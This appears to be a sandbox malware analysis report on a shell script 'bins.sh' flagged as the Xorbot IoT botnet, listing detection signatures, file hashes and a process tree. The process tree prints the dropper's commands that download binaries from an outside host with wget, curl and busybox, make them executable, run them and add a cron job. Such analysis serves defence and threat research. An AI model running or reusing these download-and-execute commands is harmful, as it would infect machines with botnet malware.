Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/02/2025, 02:57

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250211-dfphyavrbk
  • SHA256 cd0cdef86e58c6080213cb20487b66bbdda6a6802c596a0e17895fe80af92fd3
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2038) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 24 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1526
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1527
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1528
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1533
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1535
      • /bin/chmod
        chmod 777 qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • File and Directory Permissions Modification
        PID:1536
      • /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        ./qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
          PID:1537
        • /bin/rm
          rm qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
          2⤵
            PID:1539
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1540
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1541
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1543
          • /bin/chmod
            chmod 777 CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • File and Directory Permissions Modification
            PID:1544
          • /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            ./CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
              PID:1545
            • /bin/rm
              rm CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
              2⤵
                PID:1547
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1548
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1549
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1551
              • /bin/chmod
                chmod 777 H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • File and Directory Permissions Modification
                PID:1552
              • /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                ./H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                  PID:1553
                • /bin/rm
                  rm H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                  2⤵
                    PID:1555
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1556
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1557
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1559
                  • /bin/chmod
                    chmod 777 wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1560
                  • /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    ./wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                      PID:1561
                    • /bin/rm
                      rm wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                      2⤵
                        PID:1563
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1564
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1565
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1567
                      • /bin/chmod
                        chmod 777 LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1568
                      • /tmp/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        ./LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        PID:1569
                      • /bin/rm
                        rm LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        PID:1571
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1572
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1573
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1575
                      • /bin/chmod
                        chmod 777 2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1576
                      • /tmp/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        ./2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                          PID:1577
                        • /bin/rm
                          rm 2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                          2⤵
                            PID:1579
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1580
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1581
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1583
                          • /bin/chmod
                            chmod 777 qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1584
                          • /usr/bin/crontab
                            crontab -l
                            2⤵
                              PID:1588
                            • /usr/bin/crontab
                              crontab -
                              2⤵
                              • Creates/modifies Cron job
                              PID:1590
                            • /bin/rm
                              rm qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                              2⤵
                                PID:1592
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • System Network Configuration Discovery
                                PID:1595

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                                  • Path /tmp/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                                  • Path /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                                  • Path /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                                  • Size 107KB
                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                                  • Path /tmp/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                                  • Size 111KB
                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                                  • Path /tmp/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                                  • Size 98KB
                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                                  • Path /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                                  • Size 119KB
                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                                  • Path /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.4BXuqF
                                  • Path /var/spool/cron/crontabs/tmp.4BXuqF
                                  • Size 210B
                                  • SHA256 74c7b28f3c8fcf85dedb455dba9b1dcbcb7c82a8f95da0cfb5e6b0a70fc2be17
                                  • MD5 SHA1 SHA512
                                  Submit Download